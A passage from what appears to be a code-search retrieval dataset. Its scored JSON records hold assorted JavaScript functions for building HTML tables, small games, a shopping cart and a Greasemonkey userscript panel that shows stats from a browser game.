\"</td>\";\n break;\n case \"2\":\n estructura += \"<td>\" + peliculas.Pelicula2.Nombre + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula2.Duracion + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula2.Precio + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula2.Clasificacion + \"</td>\";\n break;\n case \"3\":\n estructura += \"<td>\" + peliculas.Pelicula3.Nombre + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula3.Duracion + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula3.Precio + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula3.Clasificacion + \"</td>\";\n break;\n case \"4\":\n estructura += \"<td>\" + peliculas.Pelicula4.Nombre + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula4.Duracion + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula4.Precio + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula4.Clasificacion + \"</td>\";\n break;\n case \"5\":\n estructura += \"<td>\" + peliculas.Pelicula5.Nombre + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula5.Duracion + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula5.Precio + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula5.Clasificacion + \"</td>\";\n break;\n default:\n estructura += \"<td>\" + peliculas.Pelicula1.Nombre + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula1.Duracion + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula1.Precio + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula1.Clasificacion + \"</td>\";\n break;\n }\n\n return estructura;\n}", "title": "" }, { "docid": "c596ea86f77815ac5f89e2e1d9693631", "score": "0.5894361", "text": "function iluminar(casillero){\n var i = casillero[0];\n var j = casillero[1];\n tablero[i][j] = \"L\";\n iluminar_fila(casillero)\n iluminar_columna(casillero);\n\n}", "title": "" }, { "docid": "e8ab6e635b27873d6a9298b772cd91fc", "score": "0.58732283", "text": "function cacherVide () {\n\t$('tbody').each(estVide);\n\n\t// Cache le tableau qui l'appel\n\tfunction estVide () {\n\t\tif ($(this).children().size() == 0) {\n\t\t\t$(this).parents('div').css('display', 'none');\n\t\t}\n\t}\n}", "title": "" }, { "docid": "46685ca2868ae75a5a9edce01b1bc1b9", "score": "0.5861166", "text": "function exibir_eletivas_restantes(historico, grupo_eletivas, id_div_pai) {\r\n for (var k = 0; k < grupo_eletivas.length; k++) {\r\n var g_eletiva = grupo_eletivas[k];\r\n var cred_restantes = g_eletiva.cred;\r\n $.each(historico, function(d) {\r\n if ($.inArray(d, g_eletiva.alocacao_final) >= 0) {\r\n cred_restantes -= historico[d];\r\n if ($.inArray(d, g_eletiva.disciplinas) >= 0) {\r\n g_eletiva.disciplinas.splice($.inArray(d, g_eletiva.disciplinas), 1);\r\n }\r\n delete historico[d];\r\n if (cred_restantes <= 0) {\r\n g_eletiva.fim = 1;\r\n return false;\r\n }\r\n }\r\n });\r\n var ii = -1;\r\n var j = 0;\r\n if (cred_restantes > 0) {\r\n\r\n $(id_div_pai).append('<div id=\"div_eletiva_' + k + '\" style=\"margin-top:10px;\" ></div>');\r\n $('<label></label>').css({\"font-size\": \"14px\"}).html(cred_restantes + \" cr&eacute;ditos em:\").appendTo(\"#div_eletiva_\" + k);\r\n $('<table></table>').attr({id: \"id_table_eletiva_\" + k}).appendTo(\"#div_eletiva_\" + k);\r\n for (var i = 0; i < g_eletiva.disciplinas.length; i++) {\r\n if (ii < 0) {\r\n $('<tr></tr>').attr({id: \"id_tr_ele_\" + k + '_' + j}).appendTo(\"#id_table_eletiva_\" + k);\r\n ii++;\r\n }\r\n $('<td></td>').appendTo(\"#id_tr_ele_\" + k + '_' + j).html(g_eletiva.disciplinas[i]);\r\n ii++;\r\n if (ii > 4) {\r\n ii = -1;\r\n j++;\r\n }\r\n }\r\n }\r\n }\r\n}", "title": "" }, { "docid": "eec80cb0d7933af51eb61322dd0aa701", "score": "0.58568996", "text": "function mehrfunktionen() {\r\n\t\t\t\tvar inhalt = document.getElementById(\"mehrfktinhalt\");\r\n\t\t\t\tvar hauptteil = document.getElementById(\"hauptteil\");\r\n\t\t\t\tif(inhalt) {\r\n\t\t\t\t\t\t\t\tif(inhalt.style.display==\"none\") {\r\n\t\t\t\t\t\t\t\t\t\t\t\thauptteil.style.display = \"none\";\r\n\t\t\t\t\t\t\t\t\t\t\t\tinhalt.style.display = \"block\";\r\n\t\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\t\t\t\tinhalt.style.display = \"none\";\r\n\t\t\t\t\t\t\t\t\t\t\t\thauptteil.style.display = \"block\";\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\thauptteil.style.display= \"none\";\r\n\t\t\t\t\t\t\t\tvar mehrfktcontainer = document.createElement(\"div\");\r\n\t\t\t\t\t\t\t\tmehrfktcontainer.setAttribute(\"style\", \"display:block;padding:0px 0 0 10px;\");\r\n\t\t\t\t\t\t\t\tmehrfktcontainer.setAttribute(\"id\", \"mehrfktinhalt\");\r\n\t\t\t\t\t\t\t\tmehrfktcontainer.setAttribute(\"align\", \"left\");\r\n\t\t\t\t\t\t\t\tmehrfktcontainer.innerHTML = '<div style=\"cursor:pointer;position:absolute;top:152px;left:36px;\" id=\"mehrfktzurueck\">zur&uuml;ck</div>';\r\n\t\t\t\t\t\t\t\tvar tabelle = document.createElement(\"table\");\r\n\t\t\t\t\t\t\t\ttabelle.cellpadding = \"0\";\r\n\t\t\t\t\t\t\t\ttabelle.cellspacing = \"0\";\r\n\t\t\t\t\t\t\t\ttabelle.border = \"0\";\r\n\t\t\t\t\t\t\t\tvar abfragen = [\"Spendenzahl\",\"anzspenden\",\"Kampfwerte\",\"kampfwerte\", \"Sauberkeit\", \"sauberkeit\", \"Bandenkasse\", \"bandenkasse\"];\r\n\t\t\t\t\t\t\t\tvar zeilen = new Array();\r\n\t\t\t\t\t\t\t\tfor(var i=1; i<=(abfragen.length/4);i++) {\r\n\t\t\t\t\t\t\t\t\t\t\t\tzeilen[i-1] = document.createElement(\"tr\");\r\n\t\t\t\t\t\t\t\t\t\t\t\tzeilen[i-1].setAttribute(\"style\",\"font-size:9pt\");\r\n\t\t\t\t\t\t\t\t\t\t\t\ttabelle.appendChild(zeilen[i-1]);\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tfor(var i=0; i<=abfragen.length-1; i+=2) {\r\n\t\t\t\t\t\t\t\t\t\t\t\tvar zelle = document.createElement(\"td\");\r\n\t\t\t\t\t\t\t\t\t\t\t\tzelle.setAttribute(\"style\", \"background:url(\"+abgedunkelt_url+\");background-repeat:no-repeat\");\r\n\t\t\t\t\t\t\t\t\t\t\t\tzelle.setAttribute(\"width\", \"102\");\r\n\t\t\t\t\t\t\t\t\t\t\t\tzelle.setAttribute(\"height\", \"40\");\r\n\t\t\t\t\t\t\t\t\t\t\t\tzelle.setAttribute(\"align\", \"center\");\r\n\t\t\t\t\t\t\t\t\t\t\t\tzelle.setAttribute(\"valign\", \"middle\");\r\n\t\t\t\t\t\t\t\t\t\t\t\tzelle.innerHTML = \"<span style='font-weight:bold'>\"+abfragen[i]+\"</span><br><table><tr><td><span id='\"+abfragen[i+1]+\"'>laden</span></td><td id='\"+abfragen[i+1]+\"bild' style='cursor:pointer;'><img src='\"+reload_url+\"'></td></tr></table>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\tzeilen[Math.floor((i+1)/4)].appendChild(zelle);\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tmehrfktcontainer.appendChild(tabelle);\r\n\t\t\t\t\t\t\t\t//mehrfktcontainer.innerHTML = \"<table border='0' cellpadding='0' cellspacing='0'><tr style='font-size:9pt;'><td height='42' width='92' align='center' valign='middle' style='background:url(\"+abgedunkelt_url+\")'>Spendenzahl<br>nicht geladen</td><td height='42' width='92' align='center' valign='middle' style='background:url(\"+abgedunkelt_url+\")'>Let's-Fight<br>nicht geladen</td></tr></table>\";\r\n\t\t\t\t\t\t\t\tdocument.getElementById(\"menuecontainer\").appendChild(mehrfktcontainer);\r\n\t\t\t\t\t\t\t\tdocument.getElementById(\"mehrfktzurueck\").addEventListener(\"click\",mehrfunktionen,false);\r\n\r\n\t\t\t\t\t\t\t\tdocument.getElementById(\"anzspendenbild\").addEventListener(\"click\", function() {\r\n\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"anzspendenbild\").innerHTML = \"<img src='\"+reloaddrehen_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\tGM_xmlhttpRequest({\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmethod: \"GET\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\turl: basisurl+\"/overview/\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonload: function(responseDetails) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif(responseDetails.status==200) {\r\n var spendenzahl = responseDetails.responseText.split(\"Du hast heute \")[1].split(\" Spenden erhalten\")[0];\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t var maxspenden = (stadtbuchstabe==\"b\")?\"/10\":\"/50\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"anzspenden\").innerHTML = spendenzahl+maxspenden;\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"anzspendenbild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t var geldbear = kaufm(getmoney(responseDetails.responseText));\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if(geldbear.length>6) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t\tgeld = geldbear.substr(0,geldbear.length-6)+\".\"+geldbear.substr(geldbear.length-6);\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t\tif(geldbear==\"1000000,00\") geld = \"1.000.000,00\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t\tgeld = geldbear;\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"options\").childNodes[1].childNodes[1].innerHTML=\"&euro;\"+geld;\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"anzspenden\").innerHTML = \"Fehler!\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"anzspendenbild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n },\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonerror: function(responseDetails) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"anzspenden\").innerHTML = \"Fehler!\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"anzspendenbild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t\t\t}, false);\r\n\t\t\t\t\t\t\t\tdocument.getElementById(\"kampfwertebild\").addEventListener(\"click\", function() {\r\n\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"kampfwertebild\").innerHTML = \"<img src='\"+reloaddrehen_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\tGM_xmlhttpRequest({\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmethod: \"GET\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\turl: basisurl+\"/fight/\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonload: function(responseDetails) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif(responseDetails.status==200) {\r\n var att = responseDetails.responseText.split('<td width=\"80\">ATT:</td>')[1].split('<td width=\"419\">')[1].split(\"<a\")[0];\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t var def = responseDetails.responseText.split('<td>DEF:</td>')[1].split('<td>')[1].split(\"<a\")[0];\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"kampfwerte\").innerHTML = \"A:\"+att+\"/D:\"+def;\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"kampfwertebild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"kampfwerte\").innerHTML = \"Fehler!\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"kampfwertebild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n },\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonerror: function(responseDetails) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"kampfwerte\").innerHTML = \"Fehler!\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"kampfwertebild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t\t\t}, false);\r\n\t\t\t\t\t\t\t\tdocument.getElementById(\"sauberkeitbild\").addEventListener(\"click\", function() {\r\n\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"sauberkeitbild\").innerHTML = \"<img src='\"+reloaddrehen_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\tGM_xmlhttpRequest({\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmethod: \"GET\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\turl: basisurl+\"/overview/\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonload: function(responseDetails) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif(responseDetails.status==200) {\r\n var reg = /\\d{1,3}/mg;\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t var sauberkeit = reg.exec(responseDetails.responseText.split('<div class=\"processbar_clean\"')[1].split('<ul class=\"status\">')[0]);\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"sauberkeit\").innerHTML = sauberkeit+\"%\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"sauberkeitbild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"sauberkeit\").innerHTML = \"Fehler!\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"sauberkeitbild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n },\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonerror: function(responseDetails) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"sauberkeit\").innerHTML = \"Fehler!\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"sauberkeitbild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t\t\t}, false);\r\n\t\t\t\t\t\t\t\tdocument.getElementById(\"bandenkassebild\").addEventListener(\"click\", function() {\r\n\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"bandenkassebild\").innerHTML = \"<img src='\"+reloaddrehen_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\tGM_xmlhttpRequest({\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmethod: \"GET\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\turl: basisurl+\"/gang/\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonload: function(responseDetails) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif(responseDetails.status==200) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tvar geld = responseDetails.responseText.split(\"<td>Kasse: \")[1].split(\",00\")[0];\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"bandenkasse\").innerHTML = geld;\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"bandenkassebild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"bandenkasse\").innerHTML = \"Fehler!\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"bandenkassebild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n },\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonerror: function(responseDetails) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"bandenkasse\").innerHTML = \"Fehler!\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"bandenkassebild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t\t\t}, false);\r\n\t\t\t\t\t\t\t\t/*\r\n\t\t\t\t\t\t\t\tdocument.getElementById(\"\").addEventListener(\"click\", function() {\r\n\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"resturlaubbild\").innerHTML = \"<img src='\"+reloaddrehen_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\tGM_xmlhttpRequest({\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmethod: \"GET\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\turl: basisurl+\"/settings/\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonload: function(responseDetails) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif(responseDetails.status==200) {\r\n var freietage = responseDetails.responseText.split('Noch freie Tage: <b>')[1].split('</b>')[0];\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"resturlaub\").innerHTML = freietage+\" Tage\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"resturlaubbild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"resturlaub\").innerHTML = \"Fehler!\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t document.getElementById(\"resturlaubbild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n },\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonerror: function(responseDetails) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"resturlaub\").innerHTML = \"Fehler!\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdocument.getElementById(\"resturlaubbild\").innerHTML = \"<img src='\"+reload_url+\"'>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t\t\t}, false);*/\r\n\t\t\t\t}\r\n}", "title": "" }, { "docid": "a16052ffd22de87ef25e7bf335623617", "score": "0.5848732", "text": "function ParDeBarreiras (altura,abertura,x){\r\n this.elemento=novoElemento('div','par-de-barreiras')\r\n\r\n this.superior=new Barreira (true)\r\n this.inferior=new Barreira (false)\r\n\r\n\r\n //o elemento que representa o elemento do dom é .elemento do .superior que está dentro da funcão construtura barreira\r\n //então nesse comando ele está fazendo um append no elemento par-de-barreiras do elemento criado com o superior.elemento\r\n this.elemento.appendChild(this.superior.elemento)\r\n //mesma coisa para o inferior\r\n this.elemento.appendChild(this.inferior.elemento)\r\n\r\n //calcular a abertura\r\n this.sortearAbertura = () => {\r\n const alturaSuperior= Math.random() * (altura - abertura)\r\n const alturaInferior= altura - abertura - alturaSuperior \r\n this.superior.setAltura(alturaSuperior)\r\n this.inferior.setAltura(alturaInferior)\r\n }\r\n\r\n //está convertendo para inteiro (o style left que é uma string com px no final, fazendo um split, \r\n //e pegando o index 0 que é o número)\r\n this.getX= () => parseInt(this.elemento.style.left.split('px')[0])\r\n //setando a posicao no eixo x \r\n this.setX = x => this.elemento.style.left = `${x}px`\r\n //pegar a largura \r\n this.getLargura=() => this.elemento.clientWidth\r\n this.sortearAbertura()\r\n this.setX(x)\r\n \r\n}", "title": "" }, { "docid": "ce5c44375c977f027a39c10456e7fdc3", "score": "0.58444625", "text": "function MostrarMovtos(IDLote, Tipo){\n\t$.get(ws + \"ConsultarMovtosLote\",{idempresa: idempresaglobal, id: IDLote}, function(Response){\n\t\tvar movtos = Response;\n\t\tvar elemento;\n\t\tvar elemento1;\n\t\tvar elemento2;\n\t\tvar elemento3;\n\n\t\tif(movtos.length > 0){\n\t\t\t\n\t\t\t$(\"#bitacora\").addClass(\"d-none\");\n \t\t$(\"#nivelmovtos\").removeClass(\"d-none\");\n\t\t\t$(\"#NivelMovtos tbody\").children().remove();\t\n\n\n\t\t\tCabezeraMovtos(Tipo);\n\n\t\t\tif(Tipo == 3){\n\t\t\t\telemento = \"subtotal\";\n\t\t\t\telemento1 = \"descuento\";\n\t\t\t\telemento2 = \"iva\";\n\t\t\t\telemento3 = \"total\";\n\t\t\t\tclase2 = \"\";\n\t\t\t\tclase3 = \"\";\t\t\t\t\n\t\t\t}else if(Tipo == 2){\n\t\t\t\telemento = \"kilometros\";\n\t\t\t\telemento1 = \"horometro\";\n\t\t\t\telemento2 = \"unidad\";\n\t\t\t\telemento3 = \"total\";\n\t\t\t\tclase2 = \"\";\n\t\t\t\tclase3 = \"\";\n\t\t\t}else if(Tipo == 4){\n\t\t\t\telemento = \"almacen\";\n\t\t\t\telemento1 = \"unidad\";\n\t\t\t\telemento2 = \"total\";\n\t\t\t\tclase2 = \"\";\t\t\t\t\t\t\t\t\n\t\t\t\tclase3 = \"d-none\";\n\t\t\t}else if(Tipo == 5){\n\t\t\t\telemento = \"almacen\";\n\t\t\t\telemento1 = \"unidad\";\n\t\t\t\tclase2 = \"d-none\";\n\t\t\t\tclase3 = \"d-none\";\n\t\t\t}\n\n\t\t\tvar tClass = \"odd\";\n\t\t\tfor (var j = 0; j < movtos.length; j++) {\n\t\t\t\tdocument.getElementById(\"NivelMovtos\").innerHTML +=\n\t\t\t\t\t\"<tr id='rownm\"+j+\"' role='row' class='\"+tClass+\"' > \\\n\t\t \t\t<td class='sorting_2'> \\\n\t\t \t\t\t<span class='pd-l-5'>\"+movtos[j].fechamov+\"</span> \\\n\t\t \t\t</td> \\\n\t\t \t\t<td class=''> \\\n\t\t \t\t\t<span class='pd-l-5'>\"+movtos[j].producto+\"</span> \\\n\t\t \t\t</td> \\\n\t\t \t\t<td class='sorting_2'> \\\n\t\t \t\t\t<span class='pd-l-5'>\"+movtos[j].cantidad+\"</span> \\\n\t\t \t\t</td> \\\n\t\t \t\t<td class=''> \\\n\t\t \t\t\t<span class='pd-l-5'>\"+movtos[j][elemento]+\"</span> \\\n\t\t \t\t</td> \\\n\t\t \t\t<td class='sorting_2'> \\\n\t\t \t\t\t<span class='pd-l-5'>\"+movtos[j][elemento1]+\"</span> \\\n\t\t \t\t</td> \\\n\t\t \t\t<td class='\"+clase2+\"'> \\\n\t\t \t\t\t<span class='pd-l-5'>\"+movtos[j][elemento2]+\"</span> \\\n\t\t \t\t</td> \\\n\t\t \t\t<td class='sorting_2 \"+clase3+\"'> \\\n\t\t \t\t\t<span class='pd-l-5'>\"+movtos[j][elemento3]+\"</span> \\\n\t\t \t\t</td> \\\n\t\t\t\t\t </tr>\";\n\n\t\t\t\t\t if(tClass == \"odd\") { tClass = \"even\";\t}else{ tClass = \"odd\"; }\n\t\t\t}\n\n\t\t}else{\n\t\t\tswal(\"Sin Registros\",\"No hay datos\",\"error\");\n\t\t}\n\n\t}); \n}", "title": "" }, { "docid": "8d9aef17e9d254edf76423479c076f0b", "score": "0.5838736", "text": "function pintar() {\n var lt = \" <\";\n var des;\n var html = \"<table class='tetris'>\"\n for (var f = 0; f < 20; f++) {\n html += \"<tr>\";\n for (var c = 0; c < 12; c++) {\n var color = tablero[f][c];\n if (color == 0) {\n for (v = 1; v < 5; v++) {\n des = piezas[pieza][v];\n var pos2 = rotarCasilla(pos[des]);\n if (f == fpi + pos2[0] && c == cpi + pos2[1]) {\n color = pieza + 1;\n }\n }\n }\n html += \"<td class='celda\" + color + \"'/>\";\n }\n html += lt + \"/tr>\";\n }\n html += lt + \"/table>\";\n\n $(\"#lineas\").val(pad(lineas, 3));\n $(\"#puntos\").val(pad(puntos, 3));\n $(\"#nivel\").val(pad(nivel, 3));\n\n $(\"#tetris\").html(html);\n\n if (contadorMostrarMensaje > 0) {\n\n contadorMostrarMensaje--;\n }\n else\n $(\"#mensajes\").html(\"\");\n}", "title": "" }, { "docid": "ec0cdb1e7bd04e25189f27742b48ce68", "score": "0.5828057", "text": "function finChapitre(){\n\n\n document.getElementsByClassName('livre')[0].innerHTML = '';\n\n var divUtil\n var livreRow = createDivClass('div', 'row h-100');\n var page = [createDivClass('div', 'col-6 h-100'), createDivClass('div', 'col-6 h-100 border-left')];\n\n\n\n /* DEBUT init LIVRE */\n livre.style.height = '800px';\n\n $('.container').append(livreRow);\n $('.row').append(page);\n \n /* FIN init LIVRE */\n\n /* DEBUT init PAGE LEFT */\n var pageLeft = $('.col-6').eq(0);\n divUtil = createDivClass('p', 'text-center');\n\n $(divUtil).text('MErci d\\'avoir fini le 1er chapitre');\n\n pageLeft.append(divUtil);\n\n /* FIN init PAGE LEFT */\n\n /* DEBUT init PAGE RIGHT */\n var pageRight = $('.col-6').eq(1);\n divUtil = createDivClass('p', 'text-center');\n\n $(divUtil).text('Seulement réalisé en JavaScript');\n\n pageRight.append(divUtil);\n\n /* FIN init PAGE RIGHT */\n\n }", "title": "" }, { "docid": "d29e20d60f97d846500a3ce7459a098f", "score": "0.58266765", "text": "function carritoHTML(){\n\n //Limpiar el HTML\n\n limpiarHTML();\n\n //Recorre el carrito y genera HTML\n articulosCarrito.forEach( juego =>{\n const row = document.createElement('tr');\n row.innerHTML = `\n <td>\n\n <img src=\"${juego.imagen}\" width=\"50\">\n\n </td>\n\n <td> ${juego.titulo} </td>\n\n <td> ${juego.precio} </td>\n\n <td>${juego.cantidad}</td>\n\n <td>\n <a href=\"#\" class=\"borrar-juego\" data-id=\"${juego.id}\">X</a>\n </td>\n \n `;\n\n //Agrega el HTML del carrito en el tbody\n\n contenedorCarrito.appendChild(row);\n })\n}", "title": "" }, { "docid": "dc3ff823161c7e5c17f36b301fb99579", "score": "0.5822954", "text": "function divisionrow3(){\r\n\t\tvar divide1=0;\r\n\t\t divisiontr3=document.createElement('tr');\r\n\t\t for (var division5=divisionnumberlength+3;division5>0;division5--){\r\n\t divisiontd5=document.createElement('td');\r\n\t\t if(division5==divisionnumberlength+3){\r\n\t\t\t divisiontd5.setAttribute(\"style\",\"border-left: 4px solid #ddd\");\r\n\t\t }\r\n\t\t if(division5<divisionnumberlength+3){\r\n\t\t divisiontd5.setAttribute(\"style\",\"border-left:\");\r\n\t\t }\r\n\t\t divisiontd5.id=\"division\"+divide1;\r\n\t divisiontd5.height = '40';\r\n\t divisiontd5.width= '25';\t\r\n if(divide1<divisionnumberlength){\t\t \r\n\t\t divisiontd5.innerHTML+=divisionnumber[divide1];\r\n\t\t }\r\n\t\t divide1++;\t\r\n\t 